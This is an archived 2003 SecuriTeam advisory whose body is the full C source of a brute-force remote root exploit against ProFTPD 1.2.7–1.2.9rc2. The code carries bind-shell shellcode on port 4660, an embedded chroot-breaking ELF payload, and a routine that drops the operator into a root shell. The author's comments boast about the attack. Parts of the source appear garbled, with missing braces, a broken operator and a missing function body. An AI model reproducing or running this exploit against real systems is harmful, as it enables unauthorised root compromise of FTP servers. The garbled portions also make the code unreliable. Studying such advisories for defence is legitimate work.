

[EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0057.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/14/03

To: list@securiteam.com

Date: 14 Oct 2003 09:18:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

SUMMARY

Attached is a remote root, chroot-breaking brute-force exploit for the \n processing bug in ProFTPd 1.2.7 – 1.2.9rc2 (It is based on <<http://www.securiteam.com/exploits/6Q005208KG.html>> ProFTPD ASCII File Remote Root Exploit and is exploits this vulnerability <<http://www.securiteam.com/unixfocus/5LP0M15B5O.html>> ProFTPD ASCII File Remote Compromise Vulnerability). It has been tested successfully on SuSE 8.0/8.1 and RedHat 7.2 and 8.0.

Note: It is noisy and leaves a lot of mess (i.e. bad uploaded text files) on the target server. It is left as an exercise for the reader to remove these or rework the exploit to do the deletion.

DETAILS

Vulnerable systems:

* ProFTPd version 1.2.7 up to version 1.2.9rc2

Exploit:

/*

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

ProFTPD 1.2.7 – 1.2.9rc2 remote r00t exploit

By Haggis

This exploit builds on the work of bkbll to create a working, brute-force remote exploit for the \n procesing bug in ProFTPD.

Tested on SuSE 8.0, 8.1 and RedHat 7.2/8.0 it works quite well... the RedHat boxes worked on stack addresses in the 0xbfff2xx region; the SuSE boxes were somewhat earlier in the stack space – around 0xbffe8xx.

This is the only public version you'll see from Haggis@Doris – but it is very likely that more powerful private versions will be coded.

At present, this exploit breaks chroot (if any) and spawns a shell bound to port 4660.

This version is best run like so:

```
./proft_put_down -t hostname -l localIP -U incoming
```

where:

hostname = target box
localIP = your IP address

-U incoming specifies that the exploit will attempt to create an 'incoming' directory on the remote ftp server and work inside that. Without it, the shell-code will probably not work properly. You have been warned!

It is possible to use other credentials for logging in to remote servers; anonymous is the default.

Big greets to all in #cheese on Doris (SSL only: doris.scriptkiddie.net:6969).

Special thanks to B-r00t for testing and pointing out a segfault, flame for letting me r00t his RedHat 8 box and everyone else for their input.

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

Have a nice root.

H.

```
*/  
  
#include <stdio.h>  
#include <ctype.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <errno.h>  
#include <netdb.h>  
#include <string.h>  
#include <signal.h>  
#include <stdarg.h>  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <sys/time.h>  
#include <sys/select.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <linux/tcp.h>  
  
#define STACK_START 0xbfffef04  
#define STACK_END 0xbffff4f0  
#define FTP_PORT 21  
#define BINDSHELL_PORT 4660  
#define SIZE 1024  
#define EXPLOIT_BUF_SIZE 65535  
#define DEFAULT_USER "anonymous"  
#define DEFAULT_PASS "ftp@"  
#define FAILURE -1  
#define SUCCESS 0  
#define NORMAL_DOWNLOAD 1  
#define EXPLOIT_DOWNLOAD 2  
#define DOWNLOAD 3  
#define UPLOAD 4  
#define ACCEPT_TIMEOUT 5  
#define SLEEP_DELAY 19999999  
  
/*  
   Leet 0-day HaggisCode (tm)  
*/  
char shellcode[] =  
// setuid(0); setgid(0);  
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"  
  
// fork() - parent terminates, killing proftpd and ending FTP  
// session. This leaves the child process as a daemon...  
"\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31"  
"\xdb\x31\xc0\xb0\x01\xcd\x80"
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
// Finally, bind a shell to port 4660.
// This is a hacked version of the bindshell code by BigHawk.
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68\x12\x34\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
"\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
"\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68\xe2\xf6\x61\x89\xe3\x51\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

int controlSock, passiveSock;
int currentPassivePort=32769;
int currentServerPort=31337;
int exploitBufLen;
int attemptNumber=0;
int ftpPort=FTP_PORT;
unsigned int stackWriteAddr, retAddr;
char serverBuf[SIZE];
char exploitBuf[EXPLOIT_BUF_SIZE];
char uploadPath[SIZE]="";
char filename[SIZE*2];
char *server=NULL;
char *user=DEFAULT_USER;
char *pass=DEFAULT_PASS;
char *localIP=NULL;
char errorBuf[SIZE];

int connect_to_server(int port);
int login_to_server();
int set_passive_mode(int mode);
int set_ascii_mode();
int set_path_and_filename();
int check_for_linefeed();
int check_status();
int create_passive_server();
int create_exploit_buffer();
int upload_file();
int download_file(int mode);
void usage(char *s);
int do_remote_shell(int shellSock);
void status_bar(char *info);
int timeout_accept(int s, struct sockaddr *sa, int *f);
void my_send(int s, char *b, ...);
void my_recv(int s);
void my_sleep(int n);
void doris_chroot_breaker();

int main(int argc,char **argv)
{
    int sleepMode=0;
    char c;
    unsigned int stackStartAddr=STACK_START;
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) {
switch (c) {
case 't':
server=optarg;
break;
case 'u':
user=optarg;
break;
case 'p':
pass=optarg;
break;
case 'l':
localIP=optarg;
break;
case 's':
sleepMode=1;
break;
case 'U':
strncpy(uploadPath,optarg,SIZE);
break;
case 'P':
ftpPort=atoi(optarg);
break;
case 'S':
stackStartAddr=strtoul(optarg, NULL, 16);
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || localIP==NULL)
usage(argv[0]);

printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");

doris_chroot_breaker();
for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END;
stackWriteAddr+=4, attemptNumber++) {

if(check_for_linefeed()==FAILURE)
continue;

retAddr=stackWriteAddr+200; // good enough for show business

if((controlSock=connect_to_server(ftpPort))==FAILURE) {
perror("\n\nFailing to connect to remote host\n");
exit(1);
}
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
if(login_to_server()==FAILURE) {
    close(controlSock);
    printf("\nERROR: Login failed.\n");
    exit(1);
}

if(set_passive_mode(UPLOAD)==FAILURE)
    goto err;
if(set_ascii_mode()==FAILURE)
    goto err;
if(set_path_and_filename()==FAILURE)
    goto err;

// create the buffer containing RET for this
// brute-force iteration
create_exploit_buffer();

if(upload_file()==FAILURE)
    goto err;
close(controlSock);

// Connect again, then login, set ASCII mode and download the exploit
file.
// This will trigger the overflow; as a result, we've
// corrupted the memory pool of this session and when we
// download the file again, the stack area will be overwritten
// and we control the saved EIP.

if((controlSock=connect_to_server(ftpPort))<0) {
    perror("\nFailed to connect to remote host\n");
    exit(1);
}

login_to_server(user,pass);
set_path_and_filename();
if(set_ascii_mode()==FAILURE)
    goto err;
if(set_passive_mode(DOWNLOAD)==FAILURE)
    goto err;
if(sleepMode)
    sleep(10);
if(download_file(NORMAL_DOWNLOAD)==FAILURE)
    goto err;

// Finally, read the file again. This will trigger the stack
// overwrite (NOT the overflow, that happened earlier). We could
// control EIP at this point and r00t may be only heartbeat away...

if(set_passive_mode(DOWNLOAD)==FAILURE)
    goto err;
if(download_file(EXPLOIT_DOWNLOAD)==FAILURE)
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
    goto err;
err:
    close(controlSock);
}

// This is only reached if the bruteforce fails.
// delete the exploit files here

printf("\n\nNo r00t for you today I'm afraid.\n");
exit(1);
}

void status_bar(char *info) {
    printf("[ %20s ]-[ Stack: 0x%08x ]-[ RET: 0x%08x ]r",info,
    stackWriteAddr,retAddr);
    fflush(stdout);
}

int set_path_and_filename()
{
    status_bar("Setting filename");
    if(strcmp(uploadPath,"")) {
        my_send(controlSock, "CWD %s\r\n",uploadPath);
        my_recv(controlSock);
    }
}

snprintf(filename,SIZE,"proft_put_down-%d-%d.txt",getpid(),attemptNumber);
return SUCCESS;
}

int download_file(int mode)
{
    int len, localServerSock, dataSock, bindShellSock;
    struct sockaddr_in localServer;

    status_bar("Downloading");
    // Ask the victim server to send us the exploit file
    my_send(controlSock, "RETR %s\r\n", filename);

    // Create a listening server on our passive port to
    // receive the data
    memset(&localServer,0,sizeof(localServer));
    localServerSock=create_passive_server();
    len=sizeof(localServer);

    // Wait for a few seconds for the victim server to contact us...
    if((dataSock=timeout_accept(localServerSock,(struct sockaddr
*)&localServer,&len))<0) {
        close(localServerSock);
        return FAILURE;
    }
}
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
// If the mode is EXPLOIT_DOWNLOAD, then this is the
// second attempt at downloading... that means we might
// have a shell waiting for us on the victim server, so
// we try to connect to it
if(mode==EXPLOIT_DOWNLOAD) {
if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) {
printf("\nConnected! You are r00t...\n");
do_remote_shell(bindShellSock);
printf("\nDid you have a nice time?\n");
exit(0);
}
close(dataSock);
close(localServerSock);
return SUCCESS;
}
// If the mode is NORMAL_DOWNLOAD, then just clean up the
// connection by receiving the file from the server; closing
// the data and local server sockets, then read the confirmation
// message from the control socket
my_recv(dataSock);
close(dataSock);
close(localServerSock);
my_recv(controlSock);
return check_status();
}
```

```
int timeout_accept(int s, struct sockaddr *sa, int *f)
{
fd_set fdset;
struct timeval timeout = { ACCEPT_TIMEOUT, 0 }; // seconds
int result;

if(s<=0)
return FAILURE;
FD_ZERO(&fdset);
FD_SET(s, &fdset);

if((result=select(s+1, &fdset, 0, 0, &timeout))==0)
return FAILURE;
return accept(s,sa,f);
}
```

```
int set_passive_mode(int mode)
{
int portMSB, portLSB;
int x1,x2,x3,x4;
char *ptr=localIP, *start;

status_bar("Setting passive");
if(mode==DOWNLOAD) {
if((++currentPassivePort) > 35000)
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
currentPassivePort=32789;

while(*(++ptr))
if(*ptr=='.')
    *ptr=';';
portMSB=(currentPassivePort >> 8 ) & 0xff;
portLSB=currentPassivePort & 0xff;
my_send(controlSock, "PORT %s,%d,%d\r\n", localIP, portMSB, portLSB);
my_recv(controlSock);
return check_status();
} else {
my_send(controlSock, "PASV\r\n");
my_recv(controlSock);
if(check_status()===FAILURE)
    return FAILURE;
ptr=serverBuf;
while(*ptr && *ptr!='(')
    ptr++;
if(*ptr=='\0')
    return FAILURE;
start=ptr+1;
while(*ptr && *ptr!=')')
    ptr++;
*ptr=0;
sscanf(start, "%d,%d,%d,%d,%d,%d",&x1, &x2, &x3, &x4, &portMSB,
&portLSB);
currentServerPort=(portMSB << 8) | portLSB;
}
return SUCCESS;
}

int connect_to_server(int port)
{
struct sockaddr_in serverAddr;
struct hostent *host;
int sock, tmp=1;

status_bar("Connecting");
if((host=gethostbyname(server))==NULL)
    return FAILURE;

if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
    return FAILURE;
bzero(&serverAddr,sizeof(struct sockaddr));
serverAddr.sin_family=AF_INET;
serverAddr.sin_port=htons(port);
serverAddr.sin_addr=((struct in_addr *)host->h_addr);
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&tmp, sizeof(tmp));
if(connect(sock,(struct sockaddr *)&serverAddr,sizeof(struct
sockaddr))<0) {
    close(sock);
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
    return FAILURE;
}
return sock;
}

int check_status()
{
    if(isdigit(serverBuf[0]) && serverBuf[0]!='5')
        return SUCCESS;
    else
        return FAILURE;
}

int login_to_server()
{
    status_bar("Logging in");
    my_recv(controlSock);
    my_send(controlSock, "USER %s\r\n", user);
    my_recv(controlSock);
    if(check_status()==FAILURE)
        return FAILURE;

    my_send(controlSock, "PASS %s\r\n", pass);
    my_recv(controlSock);
    return check_status();
}

int set_ascii_mode()
{
    status_bar("Setting ASCII mode");
    my_send(controlSock, "TYPE A\r\n");
    my_recv(controlSock);
    return check_status();
}

int upload_file()
{
    int dataSock;

    status_bar("Uploading file");

    // open up the data channel
    if((dataSock=connect_to_server(currentServerPort))==FAILURE)
        return FAILURE;

    // tell server we're gonna send some shiznitz
    my_send(controlSock, "STOR %s\r\n", filename);
    my_recv(controlSock);
    if(check_status()==FAILURE) {
        close(dataSock);
        return FAILURE;
    }
}
```


Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
*(unsigned int *)(buf+24)=dummy;
*(unsigned int *)(buf+28)=dummy;

// this will become the address of an available chunk of memory
// that is returned by new_block() in pool.c
*(unsigned int *)(buf+32)=writeaddr;

// this is what will be returned by palloc() in pool.c
// palloc() is the function that calls new_block() and
// provides the allocation interface for the pools system.
*(unsigned int *)(buf+36)=writeaddr;

memcpy(exploitBuf+exploitBufLen,buf,40);
exploitBufLen+=40;
dummy++;
}
return SUCCESS;
}

int create_passive_server()
{
    struct sockaddr_in serverAddr;
    int on=1,sock;

    status_bar("Creating server");
    sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&serverAddr,0,sizeof(struct sockaddr_in));
    serverAddr.sin_port=htons(currentPassivePort);
    serverAddr.sin_family=AF_INET;
    serverAddr.sin_addr.s_addr=htonl(INADDR_ANY);
    setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
    if(bind(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
        close(sock);
        return FAILURE;
    }
    if(listen(sock,5)<0) {
        close(sock);
        return FAILURE;
    }
    return sock;
}

void usage(char *exploitName)
{
    printf("proftpd 1.2.7 - 1.2.9rc2 remote root exploit\n");
    printf(" based on code by bkbll (bkbll@cnhonker.net)\n");
    printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");

    printf("-----\n");
    printf("Usage: %s -t host -l ip [options]\n",exploitName);
    printf("Arguments:\n");
}
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
printf("-t <host> host to attack\n");
printf("-u <username> [anonymous]\n");
printf("-p <password> [ftp@microsoft.com]\n");
printf("-l <local ip address> interface to bind to\n");
printf("-s sleep for 10secs to allow GDB attach\n");
printf("-U <path> specify upload path, eg. /incoming\n");
printf("-P <port> port number of remote proftpd server\n");
printf("-S <address> start at <address> when bruteforcing\n");
exit(0);
}

int do_remote_shell(int shellSock)
{
    fd_set rfd;
    char buf[1024];
    int retval, r=1;

    do {
        FD_ZERO(&rfd);
        FD_SET(0, &rfd);
        FD_SET(shellSock, &rfd);
        retval=select(shellSock+1, &rfd, NULL, NULL, NULL);
        if(retval) {
            if(FD_ISSET(shellSock, &rfd)) {
                buf[(r=recv(shellSock, buf,
sizeof(buf)-1,0))]='\0'; // lol
                printf("%s", buf);fflush(stdout);
            }
            if(FD_ISSET(0, &rfd)) {
                buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
// lmfao
                send(shellSock, buf, strlen(buf), 0);
            }
        }
    } while(retval && r); // loop until connection terminates
    return SUCCESS;
}

int check_for_linefeed()
{
    char *ptr=(char *)&stackWriteAddr;
    int i=4;

    for(;i-->0)
        if(*(ptr++)=='\n')
            return FAILURE;
    return SUCCESS;
}

// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...) {
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
va_list ap;
char *buf;

my_sleep(SLEEP_DELAY);
va_start(ap,b);
vasprintf(&buf,b,ap);
send(s,buf,strlen(buf),0);
va_end(ap);
free(buf);
}

// Another handy function to read data from a socket.
void my_recv(int s) {
int len;

my_sleep(SLEEP_DELAY);
memset(serverBuf, 0, SIZE);
len=recv(s, serverBuf, SIZE-1, 0);
serverBuf[len]=0;
}

void doris_chroot_breaker() {
char haggis_magic_buffer[]=
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x03\x00\x01\x00\x00\x00\x80\x80\x04\x08\x34\x00\x00\x00"
"\xa0\x01\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x02\x00\x28\x00"
"\x09\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
"\x00\x80\x04\x08\x20\x01\x00\x00\x20\x01\x00\x00\x05\x00\x00\x00"
"\x00\x10\x00\x00\x01\x00\x00\x00\x20\x01\x00\x00\x20\x91\x04\x08"
"\x20\x91\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00"
"\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x55\x89\xe5\x83\xec\x6c\x57\x56\x53\x8d\x45\xa0\x8d\x7d\xa0\xbe"
"\xc0\x80\x04\x08\xfc\xb9\x17\x00\x00\x00\xf3\xa5\x66\xa5\xa4\x8d"
"\x45\xa0\x89\x45\x9c\x8b\x5d\x9c\xff\xd3\x8d\x65\x88\x5b\x5e\x5f"
"\x89\xec\x5d\xc3\x8d\xb6\x00\x00\x00\x00\x8d\xbf\x00\x00\x00\x00"
"\x31\xc0\x31\xdb\x40\x50\x89\xe1\x66\xbb\x73\x68\x53\x89\xe3\xb0"
"\x27\xcd\x80\x31\xc0\x89\xe3\xb0\x3d\xcd\x80\x31\xc9\xb1\x0a\x31"
"\xc0\x31\xdb\x66\xbb\x2e\x2e\x53\x89\xe3\xb0\xc0\xcd\x80\x49\x85"
"\xc9\x75\xec\x31\xc0\x31\xdb\xb3\x2e\x53\x89\xe3\xb0\x3d\xcd\x80"
"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x00\x00"
"\x00\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x32\x2e\x39\x35"
"\x2e\x33\x20\x32\x30\x30\x31\x30\x33\x31\x35\x20\x28\x53\x75\x53"
"\x45\x29\x00\x08\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x30"
"\x31\x2e\x30\x31\x00\x00\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00"
"\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61"
"\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00"
"\x2e\x64\x61\x74\x61\x00\x2e\x73\x62\x73\x73\x00\x2e\x62\x73\x73"
"\x00\x2e\x63\x6f\x6d\x6d\x65\x6e\x74\x00\x2e\x6e\x6f\x74\x65\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

```
"\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00"  
"\x06\x00\x00\x00\x80\x80\x04\x08\x80\x00\x00\x00\x40\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00"  
"\x21\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\xc0\x80\x04\x08"  
"\xc0\x00\x00\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x20\x00\x00\x00\x00\x00\x00\x00\x29\x00\x00\x00\x01\x00\x00\x00"  
"\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"  
"\x2f\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x20\x91\x04\x08"  
"\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x01\x00\x00\x00\x00\x00\x00\x00\x35\x00\x00\x00\x08\x00\x00\x00"  
"\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"  
"\x3a\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x20\x01\x00\x00\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x01\x00\x00\x00\x00\x00\x00\x00\x43\x00\x00\x00\x07\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x43\x01\x00\x00\x14\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"  
"\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x57\x01\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x01\x00\x00\x00\x00\x00\x00\x00";
```

```
strcpy(filename, "aa");  
memset(exploitBuf,0,777);  
memcpy(exploitBuf, haggis_magic_buffer, 776);  
exploitBufLen=776;  
if((controlSock=connect_to_server(ftpPort))==FAILURE) {  
printf("\nCould not connect to target server\n");  
exit(1);  
}  
login_to_server();  
my_send(controlSock, "MKD incoming\r\n");  
my_recv(controlSock);  
my_send(controlSock, "SITE CHMOD 777 incoming\r\n");  
my_recv(controlSock);  
my_send(controlSock, "CWD incoming\r\n");  
my_recv(controlSock);  
set_passive_mode(UPLOAD);  
upload_file();  
my_send(controlSock, "SITE CHMOD 777 aa\r\n");  
close(controlSock);  
}
```

// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.

```
void my_sleep(int n) {  
struct timespec t;  
  
t.tv_sec=0;  
t.tv_nsec=n;  
nanosleep(&t,&t);  
}
```

Securiteam: [EXPL] ProFTPD ASCII File Remote Root Exploit (Breaks Chroot)

ADDITIONAL INFORMATION

The information has been provided by <mailto:carl@learningshophull.co.uk>
Carl Livitt.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.